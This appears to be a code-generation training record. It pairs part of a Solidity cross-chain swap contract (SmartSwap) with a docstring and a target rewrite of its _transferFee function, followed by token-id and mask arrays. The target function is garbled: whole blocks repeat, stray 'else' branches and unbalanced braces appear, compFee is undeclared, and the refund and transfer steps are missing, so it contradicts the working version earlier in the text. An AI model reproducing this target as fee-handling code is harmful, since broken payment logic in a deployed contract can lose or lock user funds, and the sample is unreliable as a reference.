mapping (address => uint256) licenseeFee; // NOT USED. the licensee may set personal fee (in percent wih 2 decimals). It have to compensate this fee with own tokens.
mapping (address => address) licenseeCompensator; // NOT USED. licensee contract which will compensate fee with tokens
mapping(address => bool) public isExchange; // is Exchange address
mapping(address => bool) public isExcludedSender; // address excluded from receiving SMART token as fee compensation
// fees
uint256 public swapGasReimbursement; // percentage of swap Gas Reimbursement by SMART tokens
uint256 public companyFeeReimbursement; // percentage of company Fee Reimbursement by SMART tokens
uint256 public cancelGasReimbursement; // percentage of cancel Gas Reimbursement by SMART tokens
uint256 public companyFee; // the fee (in percent wih 2 decimals) that received by company. 30 - means 0.3%
uint256 public processingFee; // the fee in base coin, to compensate Gas when back-end call claimTokenBehalf()
address public feeReceiver; // address which receive the fee (by default is validator)
uint256 private collectedFees; // amount of collected fee (starts from 1 to avoid additional gas usage)
mapping(address => uint256) public decimals; // token address => token decimals
uint256 public pairIDCounter;
mapping(uint256 => Pair) public getPairByID;
mapping(address => mapping(address => uint256)) public getPairID; // tokenA => tokenB => pair ID or 0 if not exist
mapping(uint256 => uint256) public totalSupply; // pairID => totalSupply amount of tokenA on the pair
// hashAddress = address(keccak256(tokenA, tokenB, sender, receiver))
mapping(address => uint256) private _balanceOf; // hashAddress => amount of tokenA
mapping(address => Cancel) public cancelRequest; // hashAddress => amount of tokenA to cancel
mapping(address => Claim) public claimRequest; // hashAddress => amount of tokenA to swap
mapping(address => bool) public isLiquidityProvider; // NOT USED. list of Liquidity Providers
uint256 claimIdCounter; // counter of claim requests
address public reimbursementVault; //company vault address in reimbursement contract
address public SPImplementation; // address of swap provider contract implementation
// ============================ Events ============================
event PairAdded(address indexed tokenA, address indexed tokenB, uint256 indexed pairID);
event PairRemoved(address indexed tokenA, address indexed tokenB, uint256 indexed pairID);
event SwapRequest(
address indexed tokenA,
address indexed tokenB,
address indexed sender,
address receiver,
uint256 amountA,
bool isInvestment,
uint128 minimumAmountToClaim, // do not claim on user behalf less of this amount. Only exception if order fulfilled.
uint128 limitPice // Do not match user if token A price less this limit
);
event CancelRequest(address indexed hashAddress, uint256 amount);
event CancelApprove(address indexed hashAddress, uint256 newBalance);
event ClaimRequest(address indexed hashAddress, uint64 claimID, uint256 amount, bool isInvestment);
event ClaimApprove(address indexed hashAddress, uint64 claimID, uint256 nativeAmount, uint256 foreignAmount, bool isInvestment);
event ExchangeInvestETH(address indexed exchange, address indexed whom, uint256 value);
event SetSystem(address indexed system, bool active);
event AddSwapProvider(address swapProvider, address spContract);
/**
* @dev Throws if called by any account other than the system.
*/
modifier onlySystem() {
require(isSystem[msg.sender] || owner() == msg.sender, "Caller is not the system");
_;
}
// run only once from proxy
function initialize(address newOwner) external {
require(newOwner != address(0) && _owner == address(0)); // run only once
_owner = newOwner;
emit OwnershipTransferred(address(0), msg.sender);
rateDiffLimit = 5; // allowed difference (in percent) between LP provided rate and Oracle rate.
swapGasReimbursement = 100; // percentage of swap Gas Reimbursement by SMART tokens
companyFeeReimbursement = 100; // percentage of company Fee Reimbursement by SMART tokens
cancelGasReimbursement = 100; // percentage of cancel Gas Reimbursement by SMART tokens
companyFee = 0; // the fee (in percent wih 2 decimals) that received by company. 30 - means 0.3%
collectedFees = 1; // amount of collected fee (starts from 1 to avoid additional gas usage)
}
// get amount of collected fees that can be claimed
function getColletedFees() external view returns (uint256) {
// collectedFees starts from 1 to avoid additional gas usage to initiate storage (when collectedFees = 0)
return collectedFees - 1;
}
// claim fees by feeReceiver
function claimFee() external returns (uint256 feeAmount)
{
require(msg.sender == feeReceiver);
feeAmount = collectedFees - 1;
collectedFees = 1;
TransferHelper.safeTransferETH(msg.sender, feeAmount);
}
function balanceOf(address hashAddress) external view returns(uint256) {
return _balanceOf[hashAddress];
}
// return balance for swap
function getBalance(
address tokenA,
address tokenB,
address sender,
address receiver
)
external
view
returns (uint256)
{
return _balanceOf[_getHashAddress(tokenA, tokenB, sender, receiver)];
}
function getHashAddress(
address tokenA,
address tokenB,
address sender,
address receiver
)
external
pure
returns (address)
{
return _getHashAddress(tokenA, tokenB, sender, receiver);
}
//user should approve tokens transfer before calling this function.
//if no licensee set it to address(0)
function swap(
address tokenA, // token that user send to swap ( address(1) for BNB, address(2) for ETH)
address tokenB, // token that user want to receive ( address(1) for BNB, address(2) for ETH)
address receiver, // address that will receive tokens on other chain (user's wallet address)
uint256 amountA, // amount of tokens user sends to swap
address licensee, // for now, = address(0)
bool isInvestment, // for now, = false
uint128 minimumAmountToClaim, // do not claim on user behalf less of this amount. Only exception if order fulfilled. For now, = 0
uint128 limitPice // Do not match user if token A price less this limit. For now, = 0
)
external
payable
returns (bool)
{
_transferFee(tokenA, amountA, msg.sender, licensee);
_swap(tokenA, tokenB, msg.sender, receiver, amountA, isInvestment, minimumAmountToClaim, limitPice);
return true;
}
function cancel(
address tokenA,
address tokenB,
address receiver,
uint256 amountA //amount of tokenA to cancel
)
external
payable
returns (bool)
{
_cancel(tokenA, tokenB, msg.sender, receiver, amountA);
return true;
}
function cancelBehalf(
address tokenA,
address tokenB,
address sender,
address receiver,
uint256 amountA //amount of tokenA to cancel
)
external
onlySystem
returns (bool)
{
_cancel(tokenA, tokenB, sender, receiver, amountA);
return true;
}
function claimTokenBehalf(
address tokenA, // foreignToken
address tokenB, // nativeToken
address sender,
address receiver,
bool isInvestment,
uint128 amountA, //amount of tokenA that has to be swapped
uint128 currentRate, // rate with 18 decimals: tokenA price / tokenB price
uint256 foreignBalance // total tokens amount sent by user to pair on other chain
)
external
onlySystem
returns (bool)
{
_claimTokenBehalf(tokenA, tokenB, sender, receiver, isInvestment, amountA, currentRate, foreignBalance);
return true;
}
// add swap provider who will provide liquidity for swap (using centralized exchange)
function addSwapProvider(
address _nativeToken, // native token that will be send to SmartSwap
address _foreignToken, // foreign token that has to be received from SmartSwap (on foreign chain)
address _nativeTokenReceiver, // address on Binance to deposit native token
address _foreignTokenReceiver, // address on Binance to deposit foreign token
uint256 _feeAmountLimit // limit of amount that System may withdraw for fee reimbursement
)
external
returns (address spContract)
{
spContract = clone(SPImplementation);
ISPImplementation(spContract).initialize(
msg.sender,
_nativeToken,
_foreignToken,
_nativeTokenReceiver,
_foreignTokenReceiver,
_feeAmountLimit
);
isSystem[spContract] = true;
emit AddSwapProvider(msg.sender, spContract);
}
function balanceCallback(address hashAddress, uint256 foreignBalance) external returns(bool) {
require (validator == msg.sender, "Not validator");
_cancelApprove(hashAddress, foreignBalance);
return true;
}
function balancesCallback(
address hashAddress,
uint256 foreignBalance, // total user's tokens balance on foreign chain
uint256 foreignSpent, // total tokens spent by SmartSwap pair
uint256 nativeEncoded // (nativeRate, nativeSpent) = _decode(nativeEncoded)
)
external
returns(bool)
{
require (validator == msg.sender, "Not validator");
_claimBehalfApprove(hashAddress, foreignBalance, foreignSpent, nativeEncoded);
return true;
}
// get system variables for debugging
function getPairVars(uint256 pairID) external view returns (uint256 native, uint256 foreign, uint256 foreignRate) {
address nativeHash = _getHashAddress(getPairByID[pairID].tokenA, getPairByID[pairID].tokenB, address(0), address(0));
address foreignHash = _getHashAddress(getPairByID[pairID].tokenB, getPairByID[pairID].tokenA, address(0), address(0));
// native - amount of native tokens that swapped from available foreign
native = _balanceOf[nativeHash];
// foreign = total foreign tokens already swapped
// foreignRate = rate (native price / foreign price) of available foreign tokens on other chain
(foreignRate, foreign) = _decode(_balanceOf[foreignHash]);
// Example: assume system vars = 0, rate of prices ETH/BNB = 2 (or BNB/ETH = 0.5)
// on ETH chain:
// 1. claim ETH for 60 BNB == 60 * 0.5 = 30 ETH,
// set: foreign = 60 BNB, foreignRate = 0.5 BNB/ETH prices (already swapped BNB)
//
// on BSC chain:
// 2. claim BNB for 20 ETH, assume new rate of prices ETH/BNB = 4 (or BNB/ETH = 0.25)
// get from ETH chain foreign(ETH) = 60 BNB, foreignRate(ETH) = 0.5 BNB/ETH prices
// available amount of already swapped BNB = 60 BNB (foreign from ETH) - 0 BNB (native) = 60 BNB with rate 0.5 BNB/ETH
// claimed BNB amount = 20 ETH / 0.5 BNB/ETH = 40 BNB (we use rate of already swapped BNB)
// set: native = 40 BNB (we use BNB that was already swapped on step 1)
//
// 3. New claim BNB for 30 ETH, assume new rate of prices ETH/BNB = 4 (or BNB/ETH = 0.25)
// get from ETH chain foreign(ETH) = 60 BNB, foreignRate(ETH) = 0.5 BNB/ETH prices
// available amount of already swapped BNB = 60 BNB (foreign from ETH) - 40 BNB (native) = 20 BNB with rate 0.5 BNB/ETH
// 20 BNB * 0.5 = 10 ETH (we claimed 20 BNB for 10 ETH with already swapped rate)
// set: native = 40 BNB + 20 BNB = 60 BNB (we use all BNB that was already swapped on step 1)
// claimed rest BNB amount for (30-10) ETH = 20 ETH / 0.25 BNB/ETH = 80 BNB (we use new rate)
// set: foreign = 20 ETH, foreignRate = 0.25 BNB/ETH prices (already swapped ETH)
}
// ================== For Jointer Auction =========================================================================
// ETH side
// function for invest ETH from from exchange on user behalf
function contributeWithEtherBehalf(address payable _whom) external payable returns (bool) {
require(isExchange[msg.sender], "Not an Exchange address");
address tokenA = address(2); // ETH (native coin)
address tokenB = address(1); // BNB (foreign coin)
uint256 amount = msg.value - processingFee; // charge processing fee
amount = amount * 10000 / (10000 + companyFee); // charge company fee
emit ExchangeInvestETH(msg.sender, _whom, msg.value);
_transferFee(tokenA, amount, _whom, address(0)); // no licensee
_swap(tokenA, tokenB, _whom, auction, amount, true,0,0);
return true;
}
// BSC side
// tokenB - foreign token address or address(1) for ETH
// amountB - amount of foreign tokens or ETH
function claimInvestmentBehalf(
address tokenB, // foreignToken
address user,
uint128 amountB, //amount of tokenB that has to be swapped
uint128 currentRate, // rate with 18 decimals: tokenB price / Native coin price
uint256 foreignBalance // total tokens amount sent by user to pair on other chain
)
external
onlySystem
returns (bool)
{
address tokenA = address(1); // BNB (native coin)
_claimTokenBehalf(tokenB, tokenA, user, auction, true, amountB, currentRate, foreignBalance);
return true;
}
// ================= END For Jointer Auction ===========================================================================
// ============================ Restricted functions ============================
// set processing fee - amount that have to be paid on other chain to claimTokenBehalf.
// Set in amount of native coins (BNB or ETH)
function setProcessingFee(uint256 _fee) external onlySystem returns(bool) {
processingFee = _fee;
return true;
}
/*
// set licensee compensator contract address, if this address is address(0) - remove licensee.
// compensator contract has to compensate the fee by other tokens.
// licensee fee in percent with 2 decimals. I.e. 10 = 0.1%
function setLicensee(address _licensee, address _compensator, uint256 _fee) external onlySystem returns(bool) {
licenseeCompensator[_licensee] = _compensator;
require(_fee < 10000, "too big fee"); // fee should be less then 100%
licenseeFee[_licensee] = _fee;
emit SetLicensee(_licensee, _compensator);
return true;
}
// set licensee fee in percent with 2 decimals. I.e. 10 = 0.1%
function setLicenseeFee(uint256 _fee) external returns(bool) {
require(licenseeCompensator[msg.sender] != address(0), "licensee is not registered");
require(_fee < 10000, "too big fee"); // fee should be less then 100%
licenseeFee[msg.sender] = _fee;
return true;
}
*/
// ============================ Owner's functions ============================
//the fee (in percent wih 2 decimals) that received by company. 30 - means 0.3%
function setCompanyFee(uint256 _fee) external onlyOwner returns(bool) {
require(_fee < 10000, "too big fee"); // fee should be less then 100%
companyFee = _fee;
return true;
}
// Reimbursement Percentage without decimals: 100 = 100%
function setReimbursementPercentage (uint256 id, uint256 _fee) external onlyOwner returns(bool) {
if (id == 1) swapGasReimbursement = _fee; // percentage of swap Gas Reimbursement by SMART tokens
else if (id == 2) cancelGasReimbursement = _fee; // percentage of cancel Gas Reimbursement by SMART tokens
else if (id == 3) companyFeeReimbursement = _fee; // percentage of company Fee Reimbursement by SMART tokens
return true;
}
function setSystem(address _system, bool _active) external onlyOwner returns(bool) {
isSystem[_system] = _active;
emit SetSystem(_system, _active);
return true;
}
function setValidator(address payable _validator) external onlyOwner returns(bool) {
validator = _validator;
return true;
}
function setForeignFactory(address _addr) external onlyOwner returns(bool) {
foreignFactory = _addr;
return true;
}
function setFeeReceiver(address _addr) external onlyOwner returns(bool) {
feeReceiver = _addr;
return true;
}
function setReimbursementContractAndVault(address reimbursement, address vault) external onlyOwner returns(bool) {
contractSmart = reimbursement;
reimbursementVault = vault;
return true;
}
function setAuction(address _addr) external onlyOwner returns(bool) {
auction = _addr;
return true;
}
// for ETH side only
function changeExchangeAddress(address _which,bool _bool) external onlyOwner returns(bool){
isExchange[_which] = _bool;
return true;
}
function changeExcludedAddress(address _which,bool _bool) external onlyOwner returns(bool){
isExcludedSender[_which] = _bool;
return true;
}
function createPair(address tokenA, uint256 decimalsA, address tokenB, uint256 decimalsB) public onlyOwner returns (uint256) {
require(getPairID[tokenA][tokenB] == 0, "Pair exist");
uint256 pairID = ++pairIDCounter;
getPairID[tokenA][tokenB] = pairID;
getPairByID[pairID] = Pair(tokenA, tokenB);
if (decimals[tokenA] == 0) decimals[tokenA] = decimalsA;
if (decimals[tokenB] == 0) decimals[tokenB] = decimalsB;
return pairID;
}
function setSPImplementation(address _SPImplementation) external onlyOwner {
require(_SPImplementation != address(0));
SPImplementation = _SPImplementation;
}
// ============================ Internal functions ============================
function _swap(
address tokenA, // nativeToken
address tokenB, // foreignToken
address sender,
address receiver,
uint256 amountA,
bool isInvestment,
uint128 minimumAmountToClaim, // do not claim on user behalf less of this amount. Only exception if order fulfilled.
uint128 limitPice // Do not match user if token A price less this limit
)
internal
{
uint256 pairID = getPairID[tokenA][tokenB];
require(pairID != 0, "Pair not exist");
if (tokenA > NATIVE_COINS) {
TransferHelper.safeTransferFrom(tokenA, sender, address(this), amountA);
}
// (amount >= msg.value) is checking when pay fee in the function transferFee()
address hashAddress = _getHashAddress(tokenA, tokenB, sender, receiver);
_balanceOf[hashAddress] += amountA;
totalSupply[pairID] += amountA;
emit SwapRequest(tokenA, tokenB, sender, receiver, amountA, isInvestment, minimumAmountToClaim, limitPice);
}
function _cancel(
address tokenA, // nativeToken
address tokenB, // foreignToken
address sender,
address receiver,
uint256 amountA //amount of tokenA to cancel
//uint128 foreignBalance // amount of tokenA swapped by hashAddress (get by server-side)
)
internal
{
if(!isSystem[msg.sender]) { // process fee if caller is not System
require(msg.value >= IValidator(validator).getOracleFee(1), "Insufficient fee"); // check oracle fee for Cancel request
collectedFees += msg.value;
if(contractSmart != address(0) && !isExcludedSender[sender]) {
uint256 feeAmount = (msg.value + 60000*tx.gasprice) * cancelGasReimbursement / 100;
if (feeAmount != 0)
IReimbursement(contractSmart).requestReimbursement(sender, feeAmount, reimbursementVault);
}
}
address hashAddress = _getHashAddress(tokenA, tokenB, sender, receiver);
uint256 pairID = getPairID[tokenA][tokenB];
require(pairID != 0, "Pair not exist");
if (cancelRequest[hashAddress].amount == 0) { // new cancel request
uint256 balance = _balanceOf[hashAddress];
require(balance >= amountA && amountA != 0, "Wrong amount");
totalSupply[pairID] = totalSupply[pairID] - amountA;
_balanceOf[hashAddress] = balance - amountA;
} else { // repeat cancel request in case oracle issues.
amountA = cancelRequest[hashAddress].amount;
}
cancelRequest[hashAddress] = Cancel(uint64(pairID), sender, amountA);
// request Oracle for fulfilled amount from hashAddress
IValidator(validator).checkBalance(foreignFactory, hashAddress);
emit CancelRequest(hashAddress, amountA);
//emit CancelRequest(tokenA, tokenB, sender, receiver, amountA);
}
function _cancelApprove(address hashAddress, uint256 foreignBalance) internal {
Cancel memory c = cancelRequest[hashAddress];
delete cancelRequest[hashAddress];
//require(c.foreignBalance == foreignBalance, "Oracle error");
uint256 balance = _balanceOf[hashAddress];
uint256 amount = uint256(c.amount);
uint256 pairID = uint256(c.pairID);
if (foreignBalance <= balance) {
//approved - transfer token to its sender
_transfer(getPairByID[pairID].tokenA, c.sender, amount);
} else {
//disapproved
balance += amount;
_balanceOf[hashAddress] = balance;
totalSupply[pairID] += amount;
}
emit CancelApprove(hashAddress, balance);
}
function _claimTokenBehalf(
address tokenA, // foreignToken
address tokenB, // nativeToken
address sender,
address receiver,
bool isInvestment,
uint128 amountA, //amount of tokenA that has to be swapped
uint128 currentRate, // rate with 18 decimals: tokenA price / tokenB price
uint256 foreignBalance // total tokens amount sent bu user to pair on other chain
// [1] foreignSpent, [2] nativeSpent, [3] nativeRate
)
internal
{
uint256 pairID = getPairID[tokenB][tokenA]; // getPairID[nativeToken][foreignToken]
require(pairID != 0, "Pair not exist");
// check rate
uint256 diffRate = uint256(currentRate) * 100 / IValidator(validator).getRate(tokenB, tokenA);
uint256 diffLimit = rateDiffLimit;
require(diffRate >= 100 - diffLimit && diffRate <= 100 + diffLimit, "Wrong rate");
uint64 claimID;
address hashAddress = _getHashAddress(tokenA, tokenB, sender, receiver);
if (claimRequest[hashAddress].amount == 0) { // new claim request
_balanceOf[hashAddress] += uint256(amountA); // total swapped amount of foreign token
claimID = uint64(++claimIdCounter);
} else { // repeat claim request in case oracle issues.
claimID = claimRequest[hashAddress].claimID;
if (amountA == 0) { // cancel claim request
emit ClaimApprove(hashAddress, claimID, 0, 0, claimRequest[hashAddress].isInvestment);
_balanceOf[hashAddress] = _balanceOf[hashAddress] - claimRequest[hashAddress].amount;
delete claimRequest[hashAddress];
return;
}
amountA = claimRequest[hashAddress].amount;
}
address[] memory users = new address[](3);
users[0] = hashAddress;
users[1] = _getHashAddress(tokenA, tokenB, address(0), address(0)); // Native hash address on foreign chain
users[2] = _getHashAddress(tokenB, tokenA, address(0), address(0)); // Foreign hash address on foreign chain
claimRequest[hashAddress] = Claim(uint64(pairID), sender, receiver, claimID, isInvestment, amountA, currentRate, foreignBalance);
IValidator(validator).checkBalances(foreignFactory, users);
emit ClaimRequest(hashAddress, claimID, amountA, isInvestment);
//emit ClaimRequest(tokenA, tokenB, sender, receiver, amountA);
}
// Approve or disapprove claim request.
function _claimBehalfApprove(
address hashAddress,
uint256 foreignBalance, // total user's tokens balance on foreign chain
uint256 foreignSpent, // total tokens spent by SmartSwap pair
uint256 nativeEncoded // (nativeSpent, nativeRate) = _decode(nativeEncoded)
)
internal
{
Claim memory c = claimRequest[hashAddress];
delete claimRequest[hashAddress];
//address hashSwap = _getHashAddress(getPairByID[c.pairID].tokenB, getPairByID[c.pairID].tokenA, c.sender, c.receiver);
uint256 balance = _balanceOf[hashAddress]; // swapped amount of foreign tokens (include current claim amount)
uint256 amount = uint256(c.amount); // amount of foreign token to swap
require (amount != 0, "No active claim request");
require(foreignBalance == c.foreignBalance, "Oracle error");
uint256 nativeAmount;
uint256 rest;
if (foreignBalance >= balance) {
//approve, user deposited not less foreign tokens then want to swap
uint256 pairID = uint256(c.pairID);
(uint256 nativeRate, uint256 nativeSpent) = _decode(nativeEncoded);
(nativeAmount, rest) = _calculateAmount(
pairID,
amount,
uint256(c.currentRate),
foreignSpent,
nativeSpent,
nativeRate
);
if (rest != 0) {
_balanceOf[hashAddress] = balance - rest; // not all amount swapped
amount = amount - rest; // swapped amount
}
require(totalSupply[pairID] >= nativeAmount, "Not enough Total Supply"); // may be commented
totalSupply[pairID] = totalSupply[pairID] - nativeAmount;
if (c.isInvestment)
_contributeFromSmartSwap(getPairByID[pairID].tokenA, c.receiver, c.sender, nativeAmount);
else
_transfer(getPairByID[pairID].tokenA, c.receiver, nativeAmount);
} else {
//disapprove, discard claim
_balanceOf[hashAddress] = balance - amount;
amount = 0;
}
emit ClaimApprove(hashAddress, c.claimID, nativeAmount, amount, c.isInvestment);
}
// use structure to avoid stack too deep
struct CalcVariables {
// 18 decimals nominator with decimals converter:
// Foreign = Native * Rate(18) / nominatorNativeToForeign
uint256 nominatorForeignToNative; // 10**(18 + foreign decimals - native decimals)
uint256 nominatorNativeToForeign; // 10**(18 + native decimals - foreign decimals)
uint256 localNative; // already swapped Native tokens = _balanceOf[hashNative]
uint256 localForeign; // already swapped Foreign tokens = decoded _balanceOf[hashForeign]
uint256 localForeignRate; // Foreign token price / Native token price = decoded _balanceOf[hashForeign]
address hashNative; // _getHashAddress(tokenA, tokenB, address(0), address(0));
address hashForeign; // _getHashAddress(tokenB, tokenA, address(0), address(0));
}
function _calculateAmount(
uint256 pairID,
uint256 foreignAmount,
uint256 rate, // Foreign token price / Native token price = (Native amount / Foreign amount)
uint256 foreignSpent, // already swapped Foreign tokens (got from foreign contract)
uint256 nativeSpent, // already swapped Native tokens (got from foreign contract)
uint256 nativeRate // Native token price / Foreign token price. I.e. on BSC side: BNB price / ETH price = 0.2
)
internal
returns(uint256 nativeAmount, uint256 rest)
{
CalcVariables memory vars;
{
address tokenA = getPairByID[pairID].tokenA;
address tokenB = getPairByID[pairID].tokenB;
uint256 nativeDecimals = decimals[tokenA];
uint256 foreignDecimals = decimals[tokenB];
vars.nominatorForeignToNative = 10**(18+foreignDecimals-nativeDecimals);
vars.nominatorNativeToForeign = 10**(18+nativeDecimals-foreignDecimals);
vars.hashNative = _getHashAddress(tokenA, tokenB, address(0), address(0));
vars.hashForeign = _getHashAddress(tokenB, tokenA, address(0), address(0));
vars.localNative = _balanceOf[vars.hashNative];
(vars.localForeignRate, vars.localForeign) = _decode(_balanceOf[vars.hashForeign]);
}
// step 1. Check is it enough unspent native tokens
{
require(nativeSpent >= vars.localNative, "NativeSpent balance higher then remote");
uint256 nativeAvailable = nativeSpent - vars.localNative;
// nativeAvailable - amount ready to spend native tokens
// nativeRate = Native token price / Foreign token price. I.e. on BSC side BNB price / ETH price = 0.2
if (nativeAvailable != 0) {
// ?
uint256 requireAmount = foreignAmount * vars.nominatorNativeToForeign / nativeRate;
if (requireAmount <= nativeAvailable) {
nativeAmount = requireAmount; // use already swapped tokens
foreignAmount = 0;
}
else {
nativeAmount = nativeAvailable;
foreignAmount = (requireAmount - nativeAvailable) * nativeRate / vars.nominatorNativeToForeign;
}
_balanceOf[vars.hashNative] += nativeAmount;
}
}
require(totalSupply[pairID] >= nativeAmount,"ERR: Not enough Total Supply");
// step 2. recalculate rate for swapped tokens
if (foreignAmount != 0) {
// i.e. on BSC side: rate = ETH price / BNB price = 5
uint256 requireAmount = foreignAmount * rate / vars.nominatorForeignToNative;
if (totalSupply[pairID] < nativeAmount + requireAmount) {
requireAmount = totalSupply[pairID] - nativeAmount;
rest = foreignAmount - (requireAmount * vars.nominatorForeignToNative / rate);
foreignAmount = foreignAmount - rest;
}
nativeAmount = nativeAmount + requireAmount;
require(vars.localForeign >= foreignSpent, "ForeignSpent balance higher then local");
uint256 foreignAvailable = vars.localForeign - foreignSpent;
// vars.localForeignRate, foreignAvailable - rate and amount swapped foreign tokens
if (foreignAvailable != 0) { // recalculate avarage rate (native amount / foreign amount)
rate = ((foreignAvailable * vars.localForeignRate) + (requireAmount * vars.nominatorForeignToNative)) / (foreignAvailable + foreignAmount);
}
_balanceOf[vars.hashForeign] = _encode(rate, vars.localForeign + foreignAmount);
}
}
// transfer fee to receiver and request SMART token as compensation.
// tokenA - token that user send
// amount - amount of tokens that user send
// user - address of user
function _transferFee(address tokenA, uint256 amount, address user, address licensee) internal {
uint256 feeAmount = msg.value;
uint256 compFee; // company fee
if (tokenA < NATIVE_COINS) {
require(feeAmount >= amount, "Insuficiant value"); // if native coin, then feeAmount = msg.value - swap amount
feeAmount -= amount;
compFee = amount * companyFee / 10000; // company fee
}
require(feeAmount >= processingFee + compFee, "Insufficient processing fee");
if (contractSmart == address(0)) return; // return if no reimbursement contract
uint256 txGas = gasleft();
uint256 otherFee = feeAmount - processingFee;
uint256 licenseeFeeAmount;
uint256 licenseeFeeRate = IReimbursement(contractSmart).getLicenseeFee(licensee, address(this));
if (licenseeFeeRate != 0 && otherFee != 0) {
if (tokenA < NATIVE_COINS) {
licenseeFeeAmount = amount * licenseeFeeRate / 10000;
} else {
licenseeFeeAmount = (otherFee * licenseeFeeRate)/(licenseeFeeRate + companyFee);
}
}
require(otherFee >= compFee + licenseeFeeAmount, "Insuficiant fee");
feeAmount -= licenseeFeeAmount;
if (licenseeFeeAmount != 0) {
address licenseeFeeTo = IReimbursement(contractSmart).requestReimbursement(user, licenseeFeeAmount, licensee);
if (licenseeFeeTo == address(0)) {
TransferHelper.safeTransferETH(user, licenseeFeeAmount); // refund to user
} else {
TransferHelper.safeTransferETH(licenseeFeeTo, licenseeFeeAmount); // transfer to fee receiver
}
}
collectedFees += feeAmount;
if(!isExcludedSender[user]) {
txGas -= gasleft(); // get gas amount that was spent on Licensee fee
feeAmount = ((feeAmount - processingFee) * companyFeeReimbursement + (processingFee + (txGas + 60000)*tx.gasprice) * swapGasReimbursement) / 100;
if (feeAmount != 0)
IReimbursement(contractSmart).requestReimbursement(user, feeAmount, reimbursementVault);
}
}
// contribute from SmartSwap on user behalf
function _contributeFromSmartSwap(address token, address to, address user, uint256 value) internal {
if (token < NATIVE_COINS) {
IAuction(to).contributeFromSmartSwap{value: value}(payable(user));
} else {
IERC20(token).approve(to, value);
IAuction(to).contributeFromSmartSwap(token, value, user);
}
}
// call appropriate transfer function
function _transfer(address token, address to, uint256 value) internal {
if (token < NATIVE_COINS)
TransferHelper.safeTransferETH(to, value);
else
TransferHelper.safeTransfer(token, to, value);
}
// encode 64 bits of rate (decimal = 9). and 192 bits of amount
// into uint256 where high 64 bits is rate and low 192 bit is amount
// rate = foreign token price / native token price
function _encode(uint256 rate, uint256 amount) internal pure returns(uint256 encodedBalance) {
require(amount < MAX_AMOUNT, "Amount overflow");
require(rate < MAX_AMOUNT, "Rate overflow");
encodedBalance = rate * MAX_AMOUNT + amount;
}
// decode from uint256 where high 64 bits is rate and low 192 bit is amount
// rate = foreign token price / native token price
function _decode(uint256 encodedBalance) internal pure returns(uint256 rate, uint256 amount) {
rate = encodedBalance / MAX_AMOUNT;
amount = uint128(encodedBalance);
}
function _getHashAddress(
address tokenA,
address tokenB,
address sender,
address receiver
)
internal
pure
returns (address)
{
return address(uint160(uint256(keccak256(abi.encodePacked(tokenA, tokenB, sender, receiver)))));
}
/**
* @dev Deploys and returns the address of a clone that mimics the behavior of `implementation`.
*
* This function uses the create opcode, which should never revert.
*/
function clone(address implementation) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
}
|
transfer fee to receiver and request SMART token as compensation. tokenA - token that user send amount - amount of tokens that user send user - address of user
|
function _transferFee(address tokenA, uint256 amount, address user, address licensee) internal {
uint256 feeAmount = msg.value;
if (tokenA < NATIVE_COINS) {
feeAmount -= amount;
}
require(feeAmount >= processingFee + compFee, "Insufficient processing fee");
uint256 txGas = gasleft();
uint256 otherFee = feeAmount - processingFee;
uint256 licenseeFeeAmount;
uint256 licenseeFeeRate = IReimbursement(contractSmart).getLicenseeFee(licensee, address(this));
if (licenseeFeeRate != 0 && otherFee != 0) {
if (tokenA < NATIVE_COINS) {
licenseeFeeAmount = amount * licenseeFeeRate / 10000;
licenseeFeeAmount = (otherFee * licenseeFeeRate)/(licenseeFeeRate + companyFee);
}
}
require(otherFee >= compFee + licenseeFeeAmount, "Insuficiant fee");
feeAmount -= licenseeFeeAmount;
if (licenseeFeeRate != 0 && otherFee != 0) {
if (tokenA < NATIVE_COINS) {
licenseeFeeAmount = amount * licenseeFeeRate / 10000;
licenseeFeeAmount = (otherFee * licenseeFeeRate)/(licenseeFeeRate + companyFee);
}
}
require(otherFee >= compFee + licenseeFeeAmount, "Insuficiant fee");
feeAmount -= licenseeFeeAmount;
} else {
if (licenseeFeeAmount != 0) {
address licenseeFeeTo = IReimbursement(contractSmart).requestReimbursement(user, licenseeFeeAmount, licensee);
if (licenseeFeeTo == address(0)) {
}
}
collectedFees += feeAmount;
if (licenseeFeeAmount != 0) {
address licenseeFeeTo = IReimbursement(contractSmart).requestReimbursement(user, licenseeFeeAmount, licensee);
if (licenseeFeeTo == address(0)) {
}
}
collectedFees += feeAmount;
} else {
if(!isExcludedSender[user]) {
feeAmount = ((feeAmount - processingFee) * companyFeeReimbursement + (processingFee + (txGas + 60000)*tx.gasprice) * swapGasReimbursement) / 100;
if (feeAmount != 0)
IReimbursement(contractSmart).requestReimbursement(user, feeAmount, reimbursementVault);
}
}
| 13,996,669 |
[
1,
13866,
14036,
358,
5971,
471,
590,
12014,
4928,
1147,
487,
1161,
25159,
18,
1147,
37,
300,
1147,
716,
729,
1366,
3844,
300,
3844,
434,
2430,
716,
729,
1366,
729,
300,
1758,
434,
729,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
